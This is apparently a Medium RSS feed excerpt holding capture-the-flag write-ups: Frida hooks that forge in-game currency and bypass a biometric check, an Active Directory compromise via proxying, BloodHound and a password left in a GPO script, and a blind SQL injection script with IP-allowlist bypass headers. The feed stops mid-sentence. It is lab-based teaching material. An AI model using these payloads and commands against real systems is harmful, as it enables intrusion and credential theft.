hook implementation looked like below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c7lOzWlgj8qiY4GIhKpyaQ.png" /></figure><p>Below is the code</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://github.com/Areizen/JNI-Frida-Hook<br> * https://github.com/evilpan/jni_helper<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/apkunpacker/FridaScripts<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>    magenta: str =&gt; colors.colorize(str, &#39;[35m&#39;),<br>};<br><br><br>function func_name(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br>function Main(){<br>    try{<br>        var modules = Process.enumerateModules();<br>        for(var m = 0; m &lt; modules.length; m++){<br>            if((modules[m].name).indexOf(&quot;libaocgame.so&quot;) &gt;= 0){<br>                console.log(colors.green(&quot;\t[+] libaocgame.so successfully loaded in memory&quot;));<br>                var libaocgame_properties = Process.findModuleByName(&quot;libaocgame.so&quot;);<br>                console.log(colors.magenta(&quot;\t[+] Base address of libaocgame.so is: &quot;+libaocgame_properties.base+&quot; and has a size of: &quot;+libaocgame_properties.size));<br>                Hook_Native(libaocgame_properties.base, &quot;0x1279&quot;, 1);<br>                Hook_Native(libaocgame_properties.base, &quot;0x12a8&quot;, 2);<br>            }<br>        }<br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br>function Hook_Native(base_address, hook_address ,step){<br>    try{<br>        if(step === 1){<br>            Interceptor.attach(base_address.add(hook_address), {<br>                onEnter: function(args){<br>                    console.log(colors.green(&quot;\t[+] set otp called by the application with args: &quot;+ args[0].toInt32()));<br>                },<br>                onLeave: function(retval){<br>                    //do nothing<br>                }<br>            })<br>        } else if(step === 2){<br>            Interceptor.attach(base_address.add(hook_address), {<br>                onEnter: function(args){<br>                    console.log(colors.green(&quot;\t[+] validate_purchase called by the application with args: &quot;+args[0].toInt32()+&quot; &quot;+args[1].toInt32()+&quot; &quot;+args[2].toInt32()));<br>                    console.log(colors.yellow(&quot;\t[+] Manipulating the currency to be 10000000&quot;));<br>                    args[2] = ptr(10000000);<br>                },<br>                onLeave: function(retval){<br>                    <br>                }<br>            })<br>        }<br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br><br><br>Main();<br><br></pre><p>I hook the application with the code above and tried but the flag and voila we have successfully bought the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VA0zLtnTaXYsPI3-0jNVTQ.png" /></figure><p>We proceed to our final step which we have to bypass the bio-metrics. Looking at the bio-metrics function in binary ninja we notice that function always returns a false so long as it’s called</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*MxwbFxDXikVNPvIj_r_bRg.png" /></figure><p>The function is at offset 0x12f6</p><p>We need to use frida to ensure while hook the function will always return a true</p><p>I wrote the following frida code that alters the return value to always return a true</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s_o1FgEOd74lltjamHmdmA.png" /></figure><p>Remember the base address and hook address have been implemented in the main function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*mjXANR-wTW3nCeCpMAGpMQ.png" /></figure><p>The final script looks like below</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://github.com/Areizen/JNI-Frida-Hook<br> * https://github.com/evilpan/jni_helper<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/apkunpacker/FridaScripts<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>    magenta: str =&gt; colors.colorize(str, &#39;[35m&#39;),<br>};<br><br><br>function func_name(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br>function Main(){<br>    try{<br>        var modules = Process.enumerateModules();<br>        for(var m = 0; m &lt; modules.length; m++){<br>            if((modules[m].name).indexOf(&quot;libaocgame.so&quot;) &gt;= 0){<br>                console.log(colors.green(&quot;\t[+] libaocgame.so successfully loaded in memory&quot;));<br>                var libaocgame_properties = Process.findModuleByName(&quot;libaocgame.so&quot;);<br>                console.log(colors.magenta(&quot;\t[+] Base address of libaocgame.so is: &quot;+libaocgame_properties.base+&quot; and has a size of: &quot;+libaocgame_properties.size));<br>                Hook_Native(libaocgame_properties.base, &quot;0x1279&quot;, 1);<br>                Hook_Native(libaocgame_properties.base, &quot;0x12a8&quot;, 2);<br>                Hook_Native(libaocgame_properties.base, &quot;0x12f6&quot;, 3);<br>            }<br>        }<br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br>function Hook_Native(base_address, hook_address ,step){<br>    try{<br>        if(step === 1){<br>            Interceptor.attach(base_address.add(hook_address), {<br>                onEnter: function(args){<br>                    console.log(colors.green(&quot;\t[+] set otp called by the application with args: &quot;+ args[0].toInt32()));<br>                },<br>                onLeave: function(retval){<br>                    //do nothing<br>                }<br>            })<br>        } else if(step === 2){<br>            Interceptor.attach(base_address.add(hook_address), {<br>                onEnter: function(args){<br>                    console.log(colors.green(&quot;\t[+] validate_purchase called by the application with args: &quot;+args[0].toInt32()+&quot; &quot;+args[1].toInt32()+&quot; &quot;+args[2].toInt32()));<br>                    console.log(colors.yellow(&quot;\t[+] Manipulating the currency to be 10000000&quot;));<br>                    /***<br>                     * The following articles helped when it came to writing int to memory<br>                     * <br>                     * https://github.com/frida/frida/issues/1793<br>                     * <br>                     */<br>                    args[2] = ptr(10000000);<br>                },<br>                onLeave: function(retval){<br>                    <br>                }<br>            })<br>        }else if(step === 3){<br>            Interceptor.attach(base_address.add(hook_address), {<br>                onEnter: function(args){<br>                    console.log(colors.green(&quot;\t[+] check_biometrics called by the application&quot;));<br>                },<br>                onLeave: function(retal){<br>                    retal.replace(ptr(0x1));<br>                }<br>            })<br>        }<br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br><br><br>Main();<br><br></pre><p>I injected the last script into the game and tried bypassing bio-metrics again and looking at the screenshot below it worked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2vAWP7x7BzYGbZB9U21SEQ.png" /></figure><p>We have the final flag. This is just the basic usage of frida there are far much advanced thing that frida can do of which we can’t cover on this article but come next year am planning on releasing more advanced writeups for android and IOS covering frida. If you like the walkthough clap for me down below and follow me so that you won’t miss any upcoming walkthoughs</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc119f87a505" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Policy Panic Parrot CTF Write-up]]></title>
            <link>https://musyokaian.medium.com/policy-panic-parrot-ctf-write-up-fd283fe636ed?source=rss-39ea31329f8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd283fe636ed</guid>
            <category><![CDATA[parrot-ctfs]]></category>
            <category><![CDATA[socks5-proxy]]></category>
            <category><![CDATA[group-policy-object]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[impacket]]></category>
            <dc:creator><![CDATA[Musyoka Ian]]></dc:creator>
            <pubDate>Thu, 19 Dec 2024 09:38:06 GMT</pubDate>
            <atom:updated>2024-12-19T09:38:06.640Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*i6iLkIDDs7HnfqGUu5Ya_A.png" /></figure><blockquote>Hello guys and welcome back to another walkthough this time we are going to be tackling Policy panic from Parrot-CTF. The challenge consist of two machine one a jump box and the second one active directory server. You find some valid credentials on a share and the credentials works on RDP. On landing on the jump server you discover that the box has defender enabled meaning using the jump box to enumerate the AD server becomes a bit hard. We manage to create a dynamic proxy using a tool called <a href="https://github.com/nwtgck/handy-sshd"><strong>handy-sshd</strong></a> a really amazing tool in my opinion because you run a single binary and it starts a full SSH session in both Linux and windows and using the spawn SSH session a stable Dynamic proxy which allows us to connect to the Active directory server from our machine. The reason as to why i didn’t use chisel (which is widely known) is because it immediately gets flagged by defender and i didn’t want to go down the route of <strong>AMSI-Bypass</strong> and defender evasion. After we enumerate the Active directory server we discover that there’s a vulnerable group policy which has a startup batch script that contains a password for one of the Domain administrator’s . Using the domain admins credentials we get domain admin access to the Active directory server. Without much say let’s jump in</blockquote><p>As always we start off by running an nmap scan on the IP Address provided which on our case is 10.14.0.214. The command we use was</p><pre>/usr/lib/nmap/nmap --privileged -sC -sV -oA nmap/policy 10.14.0.214</pre><p>Looking at the results we see that 4 ports are open in the top 1000 ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2pHlq5AA1Z_bCzB1GooH1g.png" /></figure><p>But the results also looks a bit interesting because the description of challenge clearly states that we are dealing with an active directory server meaning port like 88 kerberos and 389 LDAP should be open but we are not seeing them. This means that most likely we are dealing with a jump directory server in my opinion.</p><p>We cannot begin by enumerating Remote Desktop because we need valid credentials. My focus was on Microsoft windows remote RCP (Port 135 and 139) and SMB (Port 445). For MSRPC i used a tool called <strong><em>rpcclient </em></strong>and the command</p><pre>rpcclient  -N 10.14.0.214</pre><p>— N specifies null authentication since we don’t have a valid credential yet. but from the screenshot below you can see that we get an access denied</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IEcdTi86_9ga1vxJ3maOYA.png" /></figure><p>Next focus was enumerating Samba and the tool that i usually use it netexec</p><p>The command to check if i can access the shares is</p><pre>netexec smb 10.14.0.214 -u &quot;test&quot; -p test --shares -M spider_plu</pre><p>The command performs guest authentications and spiders any readable shares present. There are a few iterations which you should try because sometime this specific command fails. These commands are</p><pre>netexec smb 10.14.0.214 -u &quot;test&quot; -p test --shares -M spider_plus<br>netexec smb 10.14.0.214 -u &quot;test&quot; -p &quot;&quot; --shares -M spider_plus<br>netexec smb 10.14.0.214 -u &quot;&quot; -p &quot;&quot; --shares -M spider_plus<br>netexec smb 10.14.0.214 -u &quot;guest&quot; -p &quot;guest&quot; --shares -M spider_plus<br>netexec smb 10.14.0.214 -u &quot;guest&quot; -p &quot;&quot; --shares -M spider_plus</pre><p>If the server allows for guest authentication at-least one of the above commands should work</p><p>Looking at the output from netexec we have two non standard shares which are</p><ol><li>shareme</li><li>users</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KcHym7fNe2i8hvajI-MpZg.png" /></figure><p>Looking at the JSON file generated we get a user called <strong>user01</strong> and a file called <strong>it-message.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wUIs5myPZCixzG4xdOb9CA.png" /></figure><p>With the username we can try to perform a brute force attack and see if we can get valid credentials but it’s always the last thing to do because the attack is so noisy and sometimes it never works. I read <strong>it-message.txt</strong> from impacket and the command</p><pre>impacket-smbclient ./guest@10.14.0.214</pre><p>The password i left blank. Looking at the contents of it-message.txt we get the password for user01</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DSM-zUjiapiaNI0zWwdOFA.png" /></figure><p>Also, something i forgot to mention we can enumerate valid users on the jump server using an impackets tool called lookupsids and the command</p><pre>impacket-lookupsid ./guest@10.14.0.214</pre><p>Looking at the output below we see that there is a user called win-1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9g5xpQg-ONqOzUFcxLfJA.png" /></figure><p>Remember to leave the password as blank. Using the newly acquired username we can try and run a brute force attack on the jump server. But we already have a password for the user01.</p><p>Trying the credentials on Remote Desktop worked!!. We have a successful login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X1jkHJuGfoGq530j0UTYzw.png" /></figure><p>The remote desktop client am using is remmina. Now that we have managed to compromise the Jump server the easiest way to now if it’s connected to an active directory domain controller is by running the command</p><pre>net user /domain</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Aaz1flZZNasDvvHdgZtZw.png" /></figure><p>Using that command we get some useful details like the users who are i the active directory and the host-name corresponding the the Active directory server</p><pre>Admin01<br>Administrator<br>Guest<br>krbtgt<br>mkid<br>User01</pre><p>Using the host-name we can try pinging the server and this will give us the IP Address of the server is 10.20.0.55. From here i wanted to perform lateral movement on the server and the best way to do this by using a Dynamic port forward. The tool of choice for most pen-testers is chisel which is a really amazing tool but the problem is of late it’s been getting flagged by defender and in this walk though i didn’t want trough defender evasion because it’s something am actively learning about but i found a tool that came in handy and it’s definitely going into my arsenal. The tool is called handy-sshd</p><p><a href="https://github.com/nwtgck/handy-sshd">GitHub - nwtgck/handy-sshd: Portable SSH Server</a></p><p>I downloaded the binary to the server annd ran usig the command</p><pre>.\handy-sshd.exe   --user &quot;john:mypass&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*faX1CepwQfumWPGo6BRTrQ.png" /></figure><p>From my attacker’s box i ran the command</p><pre>ssh john@10.14.0.214 -p 2222 -D 1080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*zaZ28F060qtdJEde2SKGFA.png" /></figure><p>In the <strong>proxychains4.conf</strong> file i added the following linne</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*5QQwwaLd1ZzcBDElGErtyg.png" /></figure><p>Then tried to connect to the Active Directory server using the following command. Remember the connection must pass through proxychains</p><pre> proxychains netexec smb 10.20.0.53 -u user01 -p &#39;Welcome123!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NYC2VzDasULQ8c9CKhLn3Q.png" /></figure><p>Sweet now i considered on running bloodhound to just enumerate the Active Directory environment</p><p>The command i used was</p><pre>proxychains python3 /home/musyoka/Desktop/git/BloodHound.py/bloodhound.py -u user01 -p &#39;Welcome123!&#39; -d parrot-ctfs.com -ns 10.20.0.53   --dns-tcp -c All,LoggedOn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ykqCxnGFISJKaCWxuypckQ.png" /></figure><p>I imported the files to bloodhound for consumption. To download bloodhound you can use the following site and</p><p><a href="https://github.com/SpecterOps/BloodHound-Legacy">GitHub - SpecterOps/BloodHound-Legacy: Six Degrees of Domain Admin</a></p><p>For neo4j you can use the following site</p><p><a href="https://neo4j.com/deployment-center/">https://neo4j.com/deployment-center/</a></p><p>To set up neo4j use the command</p><pre>./neo4j console</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bIZITB597W0cRGntnOISyw.png" /></figure><p>For bloodhound use the following command</p><pre> sudo ./BloodHound --no-sandbox</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nehn-lT2ljTqWDDH8GHVGg.png" /></figure><p>The boxes had already pointed out that we are supposed to abuse a Group policy object to and i looked for all group policy objects using the following bloodhound custom queries</p><pre>Match (n:GPO) RETURN n</pre><p>A Full list can be found in the following link</p><ul><li><a href="https://github.com/ZephrFish/Bloodhound-CustomQueries/blob/main/customqueries.json">Bloodhound-CustomQueries/customqueries.json at main · ZephrFish/Bloodhound-CustomQueries</a></li><li><a href="https://github.com/CompassSecurity/BloodHoundQueries.git">GitHub - CompassSecurity/BloodHoundQueries</a></li></ul><p>Looking at the policies we get a vulnerable one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0cl8-Dm0Z0zRzhF-0YVrQw.png" /></figure><p>To enumerate more on the policy i used a tool called gpowned</p><p><a href="https://github.com/X-C3LL/GPOwned">GitHub - X-C3LL/GPOwned: Buggy script to play with GPOs</a></p><p>Using the tool i listed all Group Policy object to get their name. The command i used was</p><pre>proxychains python3 GPOwned.py  -u user01 --p &#39;Welcome123!&#39; -d &#39;parrot-ctfs.com&#39; -dc-ip 10.20.0.53 -gpcmachine -listgpo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sIakFArJGUEQ6RB_RPFJoA.png" /></figure><p>We can see that the vulnerable template has some scripts which is definitely interesting. Before doing anything i decided to do a backup of the group policy and the command i used was</p><pre>proxychains python3 GPOwned.py  -u user01 --p &#39;Welcome123!&#39; -d &#39;parrot-ctfs.com&#39; -dc-ip 10.20.0.53 -gpcmachine -backup test01 -name &quot;{BE54F2C6-5140-4042-8849-D537054978D4}&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YxgyEmQDXvwPJQhmdfCwzw.png" /></figure><p>Something now definitely stands out. There is a script.bat from the backed up Group policy object</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bat8_H4Q2j3KJd-IP3iIpA.png" /></figure><p>Using impacket’s smbclient i read the file and got the credentials for admin01</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tHrGQM71CyDuCSj_NzvamA.png" /></figure><p>With the admin credentials we can get a domain admin’s shell by using impacket’s wmiexec. The command i used was</p><pre>proxychains impacket-wmiexec parrot-ctfs.com/admin01@10.20.0.53</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MRSFg4BSP_h9qOoFhnGy0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EelHxyEByQGAEOmEH5S3fA.png" /></figure><p>We have access to the domain controller</p><p>What we are just remaining with getting the root flag. Funny enough the flag was not in the domain controller but the administrator’s folder of the jump server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-r4BbmL5emcBPKqCqfz7nQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jY1UNWJMpKHVVSArKLCC3w.png" /></figure><p>And with that we’re pretty much done. If this was a real engagement we could have used the admin credentials to now audit the active directory server. Like dump hashes, pass them around, check for password policies etc</p><p>But that’s it for today if you liked the walk though clap for me down below and follow me so that you won’t miss any upcoming walk though.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd283fe636ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Forward Parrot CTF writeup]]></title>
            <link>https://musyokaian.medium.com/forward-parrot-ctf-writeup-f018ab74e277?source=rss-39ea31329f8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/f018ab74e277</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[directory-brute-force]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[parrot-ctfs]]></category>
            <dc:creator><![CDATA[Musyoka Ian]]></dc:creator>
            <pubDate>Mon, 09 Dec 2024 22:22:48 GMT</pubDate>
            <atom:updated>2024-12-09T22:22:48.497Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*7-Wq1wbhzHuzA5zWBJQlPQ.png" /></figure><blockquote>Hello guys and welcome back to another walkthough this time we’ll be tackling forward from parrot CTF a nice easy box. We start off by running a nmap scan and discover that port 80 HTTP and port 22 SSH is open. On opening the website we get a standard Apache default webpage and by performing a directory brute forcing using ffuf we get a login page. Doing manual enumeration we discover that it’s vulnerable to SQL Injection. We exploit the blind Boolean based SQL injection manually (since it’s a good learning experience) and get some credentials which we use to login to the application via SSH. After SSH login linpeas was uploaded to the server and ran. We discover a SUID binary which when ran gives a root shell on the box. Without much say let’s jump in</blockquote><p>After getting the IP Address a nmap scan was ran using the command</p><pre>nmap --privileged -sC -sV -oA nmap/forward 10.14.3.242</pre><p>Below are the results from the nmap scan. We can see that two ports are open HTTP and SSH</p><pre># Nmap 7.94SVN scan initiated Mon Dec  9 11:49:26 2024 as: /usr/lib/nmap/nmap --privileged -sC -sV -oA nmap/forward 10.14.3.242<br>Nmap scan report for 10.14.3.242<br>Host is up (0.27s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 0d:a5:e5:87:4b:56:38:29:25:4a:dd:1d:42:f9:92:15 (RSA)<br>|   256 e2:19:84:7d:51:be:f5:f8:8e:c1:e3:8f:f1:7f:8e:ab (ECDSA)<br>|_  256 fd:14:bb:f0:50:f5:17:b0:84:f8:74:01:da:c8:4a:40 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-title: Apache2 Ubuntu Default Page: It works<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Mon Dec  9 11:49:59 2024 -- 1 IP address (1 host up) scanned in 32.42 seconds</pre><p>Beginning to attack SSH might not be the best move since it has very few vulnerabilities and also we need a valid username password combo. Our safe bet is to begin by enumerating HTTP. On opening port 80 we are greeted by a standard Apache default web page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eM3sx6F0DX-FJo2s3R9v5A.png" /></figure><p>I decided to run a directory bruteforce using the command</p><pre>ffuf -u http://10.14.3.242/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.txt,.html</pre><p>Looking at the result below we get a login.php file come back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z0ZuV4QFMDfKzty4DahLvA.png" /></figure><p>On trying to access it we get an eror message</p><pre>You don&#39;t have permission to see this site from 10.14.0.211</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uxfIUTHAW0f3-wJlCivdog.png" /></figure><p>Based on the error message it make me think that maybe it needed my IP Address to be whitelisted but there are simple tricks which can be used to bypass the check. It’s called re-writing the source IP Address and it’s explained in the following article</p><p><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/special-http-headers">Special HTTP headers | HackTricks</a></p><p>I tried some of the headers</p><pre>X-Originating-IP: 127.0.0.1<br>X-Forwarded-For: 127.0.0.1<br>X-Forwarded: 127.0.0.1<br>Forwarded-For: 127.0.0.1<br>X-Forwarded-Host: 127.0.0.1<br>X-Remote-IP: 127.0.0.1<br>X-Remote-Addr: 127.0.0.1<br>X-ProxyUser-Ip: 127.0.0.1<br>X-Original-URL: 127.0.0.1<br>Client-IP: 127.0.0.1<br>X-Client-IP: 127.0.0.1<br>X-Host: 127.0.0.1<br>True-Client-IP: 127.0.0.1<br>Cluster-Client-IP: 127.0.0.1<br>Via: 1.0 fred, 1.1 127.0.0.1<br>Connection: close, X-Forwarded-For</pre><p>And X-Forwarded: 127.0.0.1 worked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mK12ByV8qouirvD6Blc_XQ.png" /></figure><p>I did set the header on burpsuite so that didn’t have to intercept each HTTP request and modify the headers. The feature i used in burpsuite is called match and replace</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*50l6j6gaezRGt3IlssLEmQ.png" /></figure><p>After that we can now access the login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mQ3fUEpVKW4WE49lmaThqg.png" /></figure><p>First i tried defailt credentails like admin:admin admin:password guest:guest all failed</p><p>There are various attacks you can try on login pages which include but not limited to:</p><ol><li>SQL Injection</li><li>NoSQL Injection</li><li>LDAP injection</li><li>SAML Injection</li><li>Timing attacks</li><li>default credentials</li><li>Directly access restricted pages</li><li>etc</li></ol><p>SQL injection worked with the basic payload</p><pre>admin&#39;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*FIQ5ptMDpphXw8juyef1PQ.png" /></figure><p>But we were not magically redirected to a magic an authenticated webpage meaning the aim of the challenge might not be necessarily to bypass the login page but use the vulnerability to extract data from the database</p><p>This is where bulk of the work is because the SQL Injection attack i performing manually. I also ended up creating a python script to somehow ease the attack</p><pre>a&#39; or CASE WHEN (database() like &#39;{password}{letter}%&#39;) THEN 1 ELSE 0 END-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*lb4nDDZU6y7neZI9L3yoSA.png" /></figure><p>Ignore the last character i have not handle exits on the application hence after finishing the bruteforce the script just loops over the last character our database name is ctfdb. We need to next extract the tables. The query i used was</p><pre>a&#39; or CASE WHEN ((SELECT BINARY group_concat(0x7c,table_name,0x7c) FROM information_schema.tables WHERE table_schema=&#39;ctfdb&#39;) like &#39;{password}{letter}%&#39;) THEN 1 ELSE 0 END-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*uK4WfybwGE1JoQQlYJk6EQ.png" /></figure><p>We have a table called users. Next i extracted the collums using the query</p><pre>a&#39; or CASE WHEN ((SELECT BINARY group_concat(0x7c,column_name,0x7c) FROM information_schema.columns WHERE table_name=&#39;users&#39;) like &#39;{password}{letter}%&#39;) THEN 1 ELSE 0 END-- -</pre><p>The table users has the following columns</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-T3uC8emGYBE9L3EfH_kQ.png" /></figure><p>I’ll share the script below. Next we need to dump the collumns and the command i used was</p><pre>a&#39; or CASE WHEN ((SELECT BINARY group_concat(0x7c,username,0x7c) FROM  users) like &#39;%&#39;) THEN 1 ELSE 0 END-- -</pre><p>Below is a screenshot of the usernames that were leaked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9W1PZInG8HmxKXktUcE2kA.png" /></figure><p>And to extract the passwords the below SQL Injection payload was used</p><pre>a&#39; or CASE WHEN ((SELECT BINARY group_concat(0x7c,password,0x7c) FROM  users) like &#39;%&#39;) THEN 1 ELSE 0 END-- -</pre><p>Below is a screenshot of the passwords that were leaked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*EF1wA71gGEQoSRAkeWC0iQ.png" /></figure><p>The script i created during the exploitation phase is</p><pre>#!/usr/bin/env python3<br><br>import requests<br>import string<br>import sys<br><br><br>def brute():<br>    payload = string.ascii_letters + string.digits + string.punctuation<br><br>    password = &quot;&quot;<br>    bad_chars = [&quot;%&quot;, &quot;_&quot;]<br>    counter = 0<br>    while True:<br>        for i in range(0, 50):<br>            for letter in payload:<br>                if(letter not in bad_chars):<br>                    header = {<br>                        &quot;X-Forwarded-For&quot; : &quot;127.0.0.1&quot;<br>                    }<br><br>                    sys.stdout.write(f&quot;\radmin&#39;s password: {password}{letter}&quot;)<br>                    sys.stdout.flush()<br>                    #sqlpayload = f&quot;a&#39; or CASE WHEN (database() like &#39;{password}{letter}%&#39;) THEN 1 ELSE 0 END-- -&quot; extract database<br>                    #sqlpayload = f&quot;a&#39; or CASE WHEN ((SELECT BINARY group_concat(0x7c,table_name,0x7c) FROM information_schema.tables WHERE table_schema=&#39;ctfdb&#39;) like &#39;{password}{letter}%&#39;) THEN 1 ELSE 0 END-- -&quot; # working extract tables<br>                    #sqlpayload = f&quot;a&#39; or CASE WHEN ((SELECT BINARY group_concat(0x7c,column_name,0x7c) FROM information_schema.columns WHERE table_name=&#39;users&#39;) like &#39;{password}{letter}%&#39;) THEN 1 ELSE 0 END-- -&quot; # working extract collumns<br>                    #sqlpayload = f&quot;a&#39; or CASE WHEN ((SELECT BINARY group_concat(0x7c,password,0x7c) FROM  users) like &#39;{password}{letter}%&#39;) THEN 1 ELSE 0 END-- -&quot; # working password column dump<br>                    sqlpayload = f&quot;a&#39; or CASE WHEN ((SELECT BINARY group_concat(0x7c,username,0x7c) FROM  users) like &#39;{password}{letter}%&#39;) THEN 1 ELSE 0 END-- -&quot; # working username column dump<br>                    <br>                    #print(sqlpayload)<br>                    data = {<br>                        &quot;username&quot;:sqlpayload,<br>                        &quot;password&quot;:&quot;test&quot;<br>                    }<br>                    output = requests.post(&quot;http://10.14.3.242/login.php&quot;, headers=header, data=data)<br>                    if &quot;Welcome&quot; in output.text:<br>                        password += letter<br>                        break<br>                    else:<br>                        pass<br>            break<br><br><br><br>if __name__ == &quot;__main__&quot;:<br>    brute()</pre><p>Putting one and two together we find that sqluser can login to the server using SSH. We use the credentials which 